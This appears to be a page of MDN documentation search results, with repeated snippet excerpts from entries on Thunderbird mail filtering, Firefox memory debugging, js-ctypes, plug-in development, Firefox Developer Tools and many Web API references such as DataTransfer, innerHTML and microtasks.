filter incoming mail to filter incoming mail, the first step is to detect new messages inconming. the, you've got components.interfaces.nsimsgdbhdr from where you can modify the mail. by example, to modify the mail subject : var newmaillistener = { msgadded: function(amsghdr) { if( !amsghdr.isread ) { // here we are, a new mail has popped // let get a javascript string object from the subject property // querying mime conversion interface var mimeconvert = components.classes["@mozilla.org/messenger/mimeconverter;1"] .getservice(components.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(amsghdr.subject, null, false, true); // here with have a string to modify with javascript. by example, setting it to lower case ...
...ponents.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(amsghdr.subject, null, false, true); // here with have a string to modify with javascript. ...
... you can take a look at a working code in the capskiller add-on repository. ...
...And 2 more matches
Zombie compartments
ap │ │ │ └──0.03 mb (00.01%) ── malloc-heap │ │ ├──0.23 mb (00.05%) ++ strings │ │ └──0.18 mb (00.04%) ── gc-heap-arena-admin the first line says that the window from www.google.de is taking up 28.45 mb and futher breaks it down into zones, compartments, dom etc. ...
... the first line says that the window from www.google.de is taking up 28.45 mb and futher breaks it down into zones, compartments, dom etc. when are compartments created? any compartments with the following forms are created by firefox for its own internal use, and can usually be ignored when looking for zombie compartments. js-compartment([system principal], 0x7f10f1250000) compartment(atoms) js-compartment(about:home) js-compartment(about:blank) compartment([system principal], resource://gre/modules/addons/xpiprovider.jsm) when looking at user compartments there are a couple of things to be aware of. first, many sites utilize scripts from other sites to provide advertisements, "like" and "+1" buttons, twitter feeds, etc. so it's common for multiple compartments to be created ...
...tments. some zombie compartments are caused by add-ons. if you have add-ons enabled, please try to reproduce in safe mode, which disables them. if you can identify, by disabling them one at a time, a single add-on that is responsible, that is extremely helpful. if you're confident you've found a zombie compartment, please file a bug that includes all the information you've gathered, add “[memshrink]” to its whiteboard, and mark it as blocking bug 668871. attaching the full contents of about:memory?verbose is very helpful (and you can just cut and paste the page contents, there's no need to take a screenshot). see bug 669545 for an example. if the zombie compartment is caused by an add-on, please mark the bug as also blocking bug 700547. it really is best to follow these instruct...
...And 2 more matches
Using js-ctypes
he system looks for the library in its standard locations. windows on windows, the following locations are searched for the library, in this order: the application's directory. the system directory. the 16-bit system directory. the windows directory. the current working directory the directories listed in the path environment variable. note: this information comes from this article on msdn. after you're done when you're finished using a library, you should close it by calling the library object's close() method: lib.close(); if you fail to close the library, it will be automatically closed when it is garbage collected. using the library you may need to declare new types. these can be simple types or more complex types such as structures. see declaring types for details. you...
... these examples offer a quick look at how js-ctypes is used. see js-ctypes examples for more intricate examples. calling windows routines this example demonstrates how to use ctypes to call a win32 api. ...
...er32.dll"); /* declare the signature of the function we are going to call */ var msgbox = lib.declare("messageboxw", ctypes.winapi_abi, ctypes.int32_t, ctypes.int32_t, ctypes.jschar.ptr, ctypes.jschar.ptr, ctypes.int32_t); var mb_ok = 0; var ret = msgbox(0, "hello world", "title", mb_ok); lib.close(); in line 3, the user32.dll system library is loaded. line 6 declares msgbox() to be a method that calls the windows function messageboxw. line 15 calls the msgbox() routine, which displays the alert. the last thing we do is call lib.close() to close the library when we're done using it. instead of defining the whole path, you may also just gi...
...And 2 more matches
ctypes
ntype[, argtype1, ...]); cdata int64(n); string libraryname(name); library open(libspec); ctype pointertype(typespec); ctype structtype(name[, fields]); cdata uint64(n); properties property type description errno number the value of the latest system error. similar to errno in libc, available on all platforms. cannot be set. winlasterror number|undefined the value of the latest windows error. similar to getlasterror under windows, available only for windows. cannot be set. constants abi constants these constants are used to specify the abi used to call a native function in the library. constant description default_abi corresponds to cdecl; standard libr...
... used for calling functions declared with stdcall on windows. these functions' names are automatically mangled for you by js-ctypes. winapi_abi used for calling windows system functions. these are declared as stdcall on windows, but do not have mangled names like those used by stdcall_abi above. predefined data types primitive types these types behave the same on all platforms. type description int8_t signed 8-bit integer. uint8_t unsigned 8-bit integer. int16_t signed 16-bit integer. uint16_t unsigned 16-bit integer. int32_t signed 32-bit integer. uint32_t unsigned 32-bit integer. int64_t signed 64-bit integer. uint64_t unsigned 64-bit integer. float32...
...pe on the platform. int an integer type that behaves like the int c type on the platform. unsigned_int an unsigned integer type that behaves like the unsigned int c type on the platform. long a long integer type that behaves like the corresponding c type on the platform. note this automatically converts to an int64 javascript object on all platforms, since it's unknown whether this is a 32-bit or 64-bit value. this is done for compatibility's sake. unsigned_long an unsigned long integer type that behaves like the corresponding c type on the platform. note this automatically converts to a uint64 javascript object on all platforms, since it's unknown whether this is a 32-bit or 64-bit value. this is done for...
...And 2 more matches
Plug-in Development Overview - Plugins
mage/x-nwim. for more information about mime types, see these mime rfcs: rfc-2045: "multipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "multipurpose internet mail extensions (mime) part two: media types" rfc-4288: "media type specifications and registration procedures" there are some variations to how plug-ins are handled on different platforms. the following sections describe platform-specific discovery and registration: ms windows unix mac os x ms windows on windows, plug-ins are found according to the section how gecko finds plug-ins. to determine the mime types and file extensions that the plug-in handles, the browser normally uses the content of the registry entries for the plug-in described below in installation using the...
...ry plug-in developers can take advantage of the memory features provided in the plug-in api to allocate and free memory. use the npn_memalloc method to allocate memory from the browser. use the npn_memfree method to free memory allocated with npn_memalloc. use the npn_memflush method to free memory (mac os only) before calling memory-intensive mac toolbox calls. sending and receiving streams streams are objects that represent urls and the data they contain. a stream is associated with a specific instance of a plug-in, but a plug-in can have more than one stream per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in th...
...jects that represent urls and the data they contain. a stream is associated with a specific instance of a plug-in, but a plug-in can have more than one stream per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to the plug-in instance or requested by the plug-in. the plug-in can select one of these transmission modes: normal mode: the browser sends the stream data sequentially to the plug-in as the data becomes available. random-access mode: the browser allows the plug-in to request specific ranges of bytes from anywhere in the stream. this mode requ...
...And 2 more matches
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
of a display: flex declaration gets a small flexbox icon next to the word flex. clicking the icon toggles the display of an overlay on the page, which appears over the selected flex container that displays an outline around each flex item: the overlay will still be shown when you select other elements from the inspector panel, so you can edit related css properties and see how the flex items are affected by your changes. the layout flex container section the css pane's layout view includes a collapsible "flex container" section. if you expand the section without selecting a flexbox container, it will only display the message, "select a flex container or item to continue". once you select an element whose display is defined as flex, the panel will include a number of options for vie...
...ntainer section the css pane's layout view includes a collapsible "flex container" section. if you expand the section without selecting a flexbox container, it will only display the message, "select a flex container or item to continue". once you select an element whose display is defined as flex, the panel will include a number of options for viewing details about the flex container and flex items within it. you can find out more about those in the section below. note: the layout view can be found underneath the layout tab on the right-hand pane of the page inspector. the above and below screenshots should give you further hints on how to get to this. flex container options the flex container section of the layout view looks like this: there are two settings you can change in the f...
...s: there are two settings you can change in the flex container section: you can control the color of the overlay by clicking on the small circle next to the selector. this will toggle a color picker so you can select a different color for the overlay. the switch on the right-hand side of the flex container section will also toggle the overlay on and off. flex item properties the flex items within the flex container are displayed as a numbered list in the flex items section. each entry displays the item's selector. hover over an element to highlight it on the page. if you click on the item, the display shifts to show details about that element: this view shows information about the calculations for the size of the selected flex item: a diagram visualizing the sizing of the ...
...And 2 more matches
Flame Chart - Firefox Developer Tools
owing the flame chart for a section of a profile: first of all, you'll see that, in the recording overview pane, we've selected a small slice of the recording to view in the flame chart. the flame chart displays a lot of data, so to get readable results, it's usually necessary to zoom in. in the flame chart view itself, along the x-axis is time. the screenshot above covers the period from 1435ms to a little past 1465ms. along the y-axis are the functions on the call stack at that point in time, with the top-level at the top, and the leaf function at the bottom. functions are color-coded to make them easier to distinguish. this gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called from. zooming and pa...
...he complete profile left and right 1) click and drag the selected portion in the recording overview pane. 2) click and drag anywhere in the flame chart. an example to see how the flame chart can reveal the behavior of your program, we'll look at a simple example. we'll use the same example as in the call tree page: a program that compares three different sorting algorithms. there's a separate page that gives an overview of this program's structure. we'll use the same profile file as that used in the call tree page. in the call tree page, we figured out that the program call graph in that profile, and the associated sample count, looked like this: sortall() // 8 -> sort() // 37 -> bubblesort() ...
...first, we'll just select the whole section in which the program was active: at the top, colored purple, is the sortall() call, running throughout the program from start to finish. underneath that, colored olive-green, are the calls it's making to sort(). underneath that, like the teeth of a comb, are all the calls being made to each sorting algorithm. let's zoom in: this slice is about 140 ms long, and shows us more details of the functions being called by sort(). the sort() code is just this: function sort(unsorted) { console.log(bubblesort(unsorted)); console.log(selectionsort(unsorted)); console.log(quicksort(unsorted)); } the markers labeled "bubb..." and colored olive-green are presumably bubblesort(). the ones colored plain green are presumably the other sort functions. ...
...And 2 more matches
Intensive JavaScript - Firefox Developer Tools
by default the browser uses a single thread to run all the javascript in your page as well as to perform layout, reflows, and garbage collection. this means that long-running javascript functions can block the thread, leading to an unresponsive page and a bad user experience. you can use the frame rate and waterfall tools to see when javascript is causing performance problems, and to single out the particular functions that need attention. in this article we'll take an example site whose long-running javascript causes responsiveness problems, and apply two different approaches to fixing them. the first is to split long-running functions into pieces and use requestanimationframe to schedule each piece, and the second is to run the whole function in a separate thread using a web wor...
...meline summary in time, shows frame rate. we can see that frame rate is pretty healthy for most of the recording, but collapses completely whenever we press the button. we can select one of these periods and have a closer look at it in the main waterfall view: here, when we pressed the button, the browser ran a javascript function, or series of functions, that blocked the main thread for 71.73ms, or more than four times our frame budget. which function, though? by switching to the flame chart view we can find out: this shows us the js call stack at this point in the execution. at the top of the stack is a function called calculateprimes(), and we can see its filename and line number. here's the code, together with its immediate caller: const iterations = 50; const multiplier = 10000...
...e just running a (very inefficient) primality test 50 times, for some quite large numbers. using requestanimationframe in the first attempt at fixing this, we'll split up the function into a number of much smaller self-contained functions, and schedule each one using requestanimationframe(). requestanimationframe() tells the browser to run the given function in each frame, just before it performs a repaint. as long as each function is reasonably small, the browser should be able to keep inside its frame budget. it's pretty simple to split up calculateprimes(): we will just calculate primality for each number in a separate function: function dopointlesscomputationswithrequestanimationframe() { function testcandidate(index) { // finishing condition if (index == iterations) { ...
...And 2 more matches
Storage Inspector - Firefox Developer Tools
cache storage — any dom caches created using the cache api. cookies — all the cookies created by the page or any iframes inside of the page. cookies created as a part of response of network calls are also listed, but only for calls that happened while the tool is open. indexeddb — all indexeddb databases created by the page or any iframes inside the page, their object stores and the items stored in these object stores. local storage — all local storage items created by the page or any iframes inside the page. session storage — all session storage items created by the page or any iframes inside the page. for the time being, the storage inspector only gives you a read-only view of storage. but we're working to let you edit storage contents in future releases. opening the st...
...orage tree the storage tree lists all the storage types that the storage inspector can inspect: under each type, objects are organized by origin. for cookies, the protocol does not differentiate the origin. for indexed db or local storage an origin is a combination of protocol + hostname. ...
...the tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically. ...
...And 2 more matches
BudgetService - Web APIs
et operation can be reserved. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ull support 42safari ? webview android full support 55chrome android full support 55firefox android ? opera android full support 42safari ios ? samsung internet android full support 6.0getbudget experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ? ie ? opera full support ...
...ull support 42safari ? webview android full support 55chrome android full support 55firefox android ? opera android full support 42safari ios ? samsung internet android full support 6.0getcost experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ? ie ? opera full support 42...
...And 2 more matches
DOMHighResTimeStamp - Web APIs
sn't have a clock accurate to the microsecond level, they may only be accurate to the millisecond. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of time stamps might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20 µs in firefox 59; in 60 it will be 2ms. ...
... microsecond level, they may only be accurate to the millisecond. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of time stamps might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20 µs in firefox 59; in 60 it will be 2ms. ...
... properties this type has no properties. it is a double-precision floating-point value. ...
...And 2 more matches
DataTransfer - Web APIs
for more information about drag and drop, see html drag and drop api. this object is available from the datatransfer property of all drag events. constructor datatransfer() creates and returns a new datatransfer object. properties standard properties datatransfer.dropeffect gets the type of drag-and-drop operation currently selected or sets the operation to a new type. the value must be none, copy, link or move. ...
...none, copy, link or move. datatransfer.effectallowed provides all of the types of operations that are possible. must be one of none, copy, copylink, copymove, link, linkmove, move, all or uninitialized. datatransfer.files contains a list of all the local files available on the data transfer. if the drag operation doesn't involve dragging files, this property is an empty list. datatransfer.items read only gives a datatransferitemlist object which is a list of all of the drag data. datatransfer.types read only an array of strings giving the formats that were set in the dragstart event. gecko properties note: all of the properties in this section are gecko-specific. datatransfer.mozcursor gives the drag cursor's state. this is primarily used to control the cursor during tab ...
...ode. datatransfer.mozusercancelled read only this property applies only to the dragend event, and is true if the user canceled the drag operation by pressing escape. it will be false in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location. deprecated properties datatransfer.mozitemcount read only gives the number of items in the drag operation. removed in firefox 71. methods standard methods datatransfer.cleardata() remove the data associated with a given type. the type argument is optional. if the type is empty or not specified, the data associated with all types is removed. if data for the specified type does not exist, or the data transfer contains no data, this method will have no effect. datatransfer.
...And 2 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
come the event handlers. first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.preventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items. then we call event.preventdefault() to prevent th...
...for each one, we call its webkitgetasentry() method to obtain a filesystementry representing the file. if that's successful, we call scanfiles() to process the item—either by adding it to the list if it's just a file or by adding it and walking down into it if it's a directory. ...
...for each one, we call its webkitgetasentry() method to obtain a filesystementry representing the file. if that's successful, we call scanfiles() to process the item—either by adding it to the list if it's just a file or by adding it and walking down into it if it's a directory. result you can see how this works by trying it out below. ...
...And 2 more matches
DataTransferItemList.remove() - Web APIs
. exceptions invalidstateerror the drag data store is not in read/write mode, so the item can't be removed. example this example shows the use of the remove() method. ...
...write mode, so the item can't be removed. example this example shows the use of the remove() method. javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
... // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...And 2 more matches
Element.innerHTML - Web APIs
Web › API › Element › innerHTML
s (&), (<), or (>), innerhtml returns these characters as the html entities "&amp;", "&lt;" and "&gt;" respectively. use node.textcontent to get a raw copy of these text nodes' contents. to insert the html into the document rather than replace the contents of an element, use the method insertadjacenthtml(). syntax const content = element.innerhtml; element.innerhtml = htmlstring; value a domstring containing the html serialization of the element's descendants. setting the value of innerhtml removes all of the element's descendants and replaces them with nodes constructed by parsing the html given in the string htmlstring. exceptions syntaxerror an attempt was made to set the value of innerhtml using a string which is not properly-formed html. nomodificationallowederror an attem...
...at will undergo any form of security review, using innerhtml most likely will result in your code being rejected. for example, if you use innerhtml in a browser extension and submit the extension to addons.mozilla.org, it will not pass the automated review process. example this example uses innerhtml to create a mechanism for logging messages into a box on a web page. ...
...ension and submit the extension to addons.mozilla.org, it will not pass the automated review process. example this example uses innerhtml to create a mechanism for logging messages into a box on a web page. javascript function log(msg) { var logelem = document.queryselector(".log"); var time = new date(); var timestr = time.tolocaletimestring(); logelem.innerhtml += timestr + ": " + msg + "<br/>"; } log("logging mouse events inside this container..."); the log() function creates the log output by getting the current time from a date object using tolocaletimestring(), and building a string with the timestamp and the message text. then the message is appended to the box with the class "log". we add a second method that logs information about mouseevent based events (such as m...
...And 2 more matches
Element - Web APIs
Web › API › Element
xtension that interface's parent, eventtarget. it implements the properties of parentnode, childnode, nondocumenttypechildnode, and animatable. element.attributes read only returns a namednodemap object containing the assigned attributes of the corresponding html element. element.classlist read only returns a domtokenlist containing the list of class attributes. element.classname is a domstring representing the class of the element. element.clientheight read only returns a number representing the inner height of the element. element.clientleft read only returns a number representing the width of the left border of the element. element.clienttop read only returns a number representing the width of the top border of the element. element.clientwidth read only returns a num...
... representing the inner height of the element. element.clientleft read only returns a number representing the width of the left border of the element. element.clienttop read only returns a number representing the width of the top border of the element. element.clientwidth read only returns a number representing the inner width of the element. ...
...senting the width of the left border of the element. element.clienttop read only returns a number representing the width of the top border of the element. element.clientwidth read only returns a number representing the inner width of the element. element.computedname read only returns a domstring containing the label exposed to accessibility. element.computedrole read only returns a domstring containing the aria role that has been applied to a particular element. element.id is a domstring representing the id of the element. element.innerhtml is a domstring representing the markup of the element's content. element.localname read only a domstring representing the local part of the qualified name of the element. element.namespaceuri read only the namespace uri of the eleme...
...And 2 more matches
FileList - Web APIs
Web › API › FileList
te: prior to gecko 1.9.2, the input element only supported a single file being selected at a time, meaning that the filelist would contain only one file. starting with gecko 1.9.2, if the input element's multiple attribute is true, the filelist may contain multiple files. using the file list all <input> element nodes have a files attribute of type filelist on them which allows access to the items in this list. for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var file = document.getelementbyid('fileitem').files[0]; method overview file item(index); properties attribute type description length integer a...
.... living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... opera full support yessafari ...
...And 2 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
come the event handlers. first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.preventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items. then we call event.preventdefault() to prevent th...
...for each one, we call its webkitgetasentry() method to obtain a filesystementry representing the file. if that's successful, we call scanfiles() to process the item—either by adding it to the list if it's just a file or by adding it and walking down into it if it's a directory. ...
...for each one, we call its webkitgetasentry() method to obtain a filesystementry representing the file. if that's successful, we call scanfiles() to process the item—either by adding it to the list if it's just a file or by adding it and walking down into it if it's a directory. result you can see how this works by trying it out below. ...
...And 2 more matches
FontFace.display - Web APIs
Web › API › FontFace › display
display the text and display is complete. swap period if the font face is still not loaded, the fallback font will be shown. when the font face loads, the fallback will be swaped for the downloaded font. failure period if the font face still is not loaded, the fallback font will be shown and no swap will occur. ...
... 'swap': gives the font face a 0 second block period and an infinite swap period. ...
... 'swap': gives the font face a 0 second block period and an infinite swap period. ...
...And 2 more matches
HTMLImageElement.srcset - Web APIs
each image candidate string contains an image url and an optional width or pixel density descriptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property. ...
...g containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the <img> element represented by the htmlimageelement. each image candidate string must begin with a valid url referencing a non-interactive graphic resource. this is followed by a comma (,) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used. space characters, other than the whitespace separating the url and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma. if the condition descriptor is not provided (in other words, the image candidate provides only a url), the candidate is used as the fal...
...ng the url and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma. if the condition descriptor is not provided (in other words, the image candidate provides only a url), the candidate is used as the fallback if none of the other candidates match. otherwise, the condition descriptor may take one of two forms: to indicate that the image resource specified by the image candidate string should be used when the image is being rendered with a particular width in pixels, provide a width descriptor comprised the number giving that width in pixels followed by the lower case letter "w". for example, to provide an image resource to be used when the renderer needs a 450 pixel wide image, use the width descri...
...And 2 more matches
HTMLMediaElement - Web APIs
indicates the ranges of the media source that the browser has buffered (if any) at the moment the buffered property is accessed. htmlmediaelement.controller is a mediacontroller object that represents the media controller assigned to the element, or null if none is assigned. ...
...ce items for controlling the resource should be displayed. htmlmediaelement.controlslist read only returns a domtokenlist that helps the user agent select what controls to show on the media element whenever the user agent shows its own set of controls. the domtokenlist takes one or more of three possible values: nodownload, nofullscreen, and noremoteplayback. htmlmediaelement.crossorigin a domstring indicating the cors setting for this media element. htmlmediaelement.currentsrc read only returns a domstring with the absolute url of the chosen media resource. htmlmediaelement.currenttime a double-precision floating-point value indicating the current playback time in seconds; if the media has not started to play and has not been seeked, this value is the media's initial playback time...
...rns a boolean that indicates whether the media element has finished playing. htmlmediaelement.error read only returns a mediaerror object for the most recent error, or null if there has not been an error. htmlmediaelement.loop a boolean that reflects the loop html attribute, which indicates whether the media element should start over when it reaches the end. htmlmediaelement.mediagroup a domstring that reflects the mediagroup html attribute, which indicates the name of the group of elements it belongs to. a group of media elements shares a common mediacontroller. htmlmediaelement.mediakeys read only returns a mediakeys object or null. mediakeys is a set of keys that an associated htmlmediaelement can use for decryption of media data during playback. htmlmediaelement.mozaudiocapt...
...And 2 more matches
HTMLOutputElement - Web APIs
stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloutputelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, htmlelement. htmloutputelement.defaultvalue a domstring representing the default value of the element, initially the empty string. htmloutputelement.formread only an htmlformelement indicating the form associated with the control, reflecting the form html attribute if it is defined. htmloutputelement.htmlforread only a domtokenlist reflecting the for html attribute, containing a list of ids of other elements in the same document that contri...
...trol, reflecting the form html attribute if it is defined. htmloutputelement.htmlforread only a domtokenlist reflecting the for html attribute, containing a list of ids of other elements in the same document that contribute to (or otherwise affect) the calculated value. htmloutputelement.labelsread only a nodelist of <label> elements associated with the element. htmloutputelement.name a domstring reflecting the name html attribute, containing the name for the control that is submitted with form data. htmloutputelement.typeread only the domstring "output". htmloutputelement.validationmessageread only a domstring representing a localized message that describes the validation constraints that the control does not satisfy (if any). this is the empty string if the control is not a c...
...senting a localized message that describes the validation constraints that the control does not satisfy (if any). this is the empty string if the control is not a candidate for constraint validation (willvalidate is false), or it satisfies its constraints. htmloutputelement.validityread only a validitystate representing the validity states that this element is in. htmloutputelement.value a domstring representing the value of the contents of the elements. behaves like the node.textcontent property. htmloutputelement.willvalidateread only a boolean indicating whether the element is a candidate for constraint validation. methods this interface also inherits methods from its parent, htmlelement. htmloutputelement.checkvalidity() checks the validity of the element and returns a boo...
...And 2 more matches
HTMLScriptElement - Web APIs
f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. ...
...andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlscriptelement.type is a domstring representing the mime type of the script. it reflects the type attribute. htmlscriptelement.src is a domstring representing the url of an external script. it reflects the src attribute. htmlscriptelement.event is a domstring; an obsolete way of registering event handlers on elements in an html document. htmlscriptelement.charset is a domstring representing the character encoding of an external script. it reflects the charset attribute. htmlscriptelement.async htmlscriptelement.defer th...
...f the page. the defer attribute may be specified with the async attribute, so legacy browsers that only support defer (and not async) fall back to the defer behavior instead of the default blocking behavior. note: the exact processing details for these attributes are complex, involving many different aspects of html, and therefore are scattered throughout the specification. these algorithms describe the core ideas, but they rely on the parsing rules for <script> start and end tags in html, in foreign content, and in xml; the rules for the document.write() method; the handling of scripting; and so on. htmlscriptelement.crossorigin is a domstring reflecting the cors setting for the script element. for scripts from other origins, this controls if error information will be exposed.
...And 2 more matches
HTMLSelectElement - Web APIs
with. if the element is not associated with of a <form> element, then it returns null. htmlselectelement.labelsread only a nodelist of <label> elements associated with the element. htmlselectelement.length an unsigned long the number of <option> elements in this select element. htmlselectelement.multiple a boolean reflecting the multiple html attribute, which indicates whether multiple items can be selected. htmlselectelement.name a domstring reflecting the name html attribute, containing the name of this control used by servers and dom search functions. htmlselectelement.optionsread only an htmloptionscollection representing the set of <option> (htmloptionelement) elements contained by this element. htmlselectelement.required a boolean reflecting the required html attribute, ...
...itting the form. htmlselectelement.selectedindex a long reflecting the index of the first selected <option> element. the value -1 indicates no element is selected. htmlselectelement.selectedoptionsread only an htmlcollection representing the set of <option> elements that are selected. ...
...value -1 indicates no element is selected. htmlselectelement.selectedoptionsread only an htmlcollection representing the set of <option> elements that are selected. htmlselectelement.size a long reflecting the size html attribute, which contains the number of visible items in the control. the default is 1, unless multiple is true, in which case it is 4. htmlselectelement.typeread only a domstring represeting the form control's type. when multiple is true, it returns "select-multiple"; otherwise, it returns "select-one". htmlselectelement.validationmessageread only a domstring representing a localized message that describes the validation constraints that the control does not satisfy (if any). this attribute is the empty string if the control is not a candidate for constraint valid...
...And 2 more matches
HTMLTableElement - Web APIs
s automatically updated when the htmltableelement changes. htmltableelement.tbodiesread only returns a live htmlcollection containing all the <tbody> of the element. the htmlcollection is live and is automatically updated when the htmltableelement changes. obsolete properties warning: the following properties are obsolete. you should avoid using them. ...
...es. obsolete properties warning: the following properties are obsolete. you should avoid using them. htmltableelement.align is a domstring containing an enumerated value reflecting the align attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltableelement.bgcolor is a domstring containing the background color of the cells. it reflects the obsolete bgcolor attribute. htmltableelement.border is a domstring containing the width in pixels of the border of the table. it reflects the obsolete border attribute. htmltableelement.cellpadding is a domstring containing the width in pixels of the horizontal and vertical sapce between cell content and cell borders. it r...
... attribute. htmltableelement.border is a domstring containing the width in pixels of the border of the table. it reflects the obsolete border attribute. htmltableelement.cellpadding is a domstring containing the width in pixels of the horizontal and vertical sapce between cell content and cell borders. it reflects the obsolete cellpadding attribute. htmltableelement.cellspacing is a domstring containing the width in pixels of the horizontal and vertical separation between cells. it reflects the obsolete cellspacing attribute. htmltableelement.frame is a domstring containing the type of the external borders of the table. it reflects the obsolete frame attribute and can take one of the following values: "void", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", or "bord...
...And 2 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
sks to properly discuss microtasks, it's first useful to know what a javascript task is and how microtasks differ from tasks. this is a quick, simplified explanation, but if you would like more details, you can read the information in the article in depth: microtasks and the javascript runtime environment. tasks a task is any javascript code which is scheduled to be run by the standard mechanisms such as initially starting to run a program, an event callback being run, or an interval or timeout being fired. these all get scheduled on the task queue. tasks get added to the task queue when: a new javascript program or subprogram is executed (such as from a console, or by running the code in a <script> element) directly. an event fires, adding the event's callback function to the task q...
...to be added to the task queue. the event loop driving your code handles these tasks one after another, in the order in which they were enqueued. only tasks which were already in the task queue when the event loop pass began will be executed during the current iteration. the rest will have to wait until the following iteration. microtasks at first the difference between microtasks and tasks seems minor. and they are similar; both are made up of javascript code which gets placed on a queue and run at an appropriate time. however, whereas the event loop runs only the tasks present on the queue when the iteration began, one after another, it handles the microtask queue very differently. there are two key differences. first, each time a task exits, the event loop checks to see if the task i...
...eration of the event loop, including after handling events and other callbacks. second, if a microtask adds more microtasks to the queue by calling queuemicrotask(), those newly-added microtasks execute before the next task is run. that's because the event loop will keep calling microtasks until there are none left in the queue, even if more keep getting added. warning: since microtasks can themselves enqueue more microtasks, and the event loop continues processing microtasks until the queue is empty, there's a real risk of getting the event loop endlessly processing microtasks. be cautious with how you go about recursively adding microtasks. using microtasks before getting farther into this, it's important to note again that most developers won't use microtasks much, if at all. they'r...
...And 2 more matches
Drag Operations - Web APIs
event listener for the dragenter and dragover events, you use the data types of the data being dragged to check whether a drop is allowed. for instance, a drop target that accepts links would check for the type text/uri-list. during a drop event, a listener would retrieve the data being dragged and insert it at the drop location. the drag data's types property returns a list of mime-type like domstrings, such as text/plain or image/jpeg. you can also create your own types. the most commonly used types are listed in the article recommended drag types. a drag may include data items of several different types. this allows data to be provided in more specific types, often custom types, yet still provide fallback data for drop targets that do not support more specific types. it is usually the ...
...t.setdata("text/plain", "https://www.mozilla.org"); here, data is added in three different types. the first type, application/x.bookmark, is a custom type. other applications won't support this type, but you can use a custom type for drags between areas of the same site or application. by providing data in other types as well, we can also support drags to other applications in less specific forms. the application/x.bookmark type can provide data with more details for use within the application whereas the other types can include just a single url or text version. note that both the text/uri-list and text/plain contain the same data in this example. this will often be true, but doesn't need to be the case. if you attempt to add data twice with the same format, the new data will replace t...
...but in the same position within the list of types as the old data. you can clear the data using the cleardata() method, which takes one argument: the type of the data to remove. event.datatransfer.cleardata("text/uri-list"); the type argument to the cleardata() method is optional. if the type is not specified, the data associated with all types is removed. if the drag contains no drag data items, or all of the items have been subsequently cleared, then no drag will occur. setting the drag feedback image when a drag occurs, a translucent image is generated from the drag target (the element the "dragstart" event is fired at), and follows the user's pointer during the drag. this image is created automatically, so you do not need to create it yourself. however, you can use setdragimage() t...
...And 2 more matches
Ajax navigation example - Web APIs
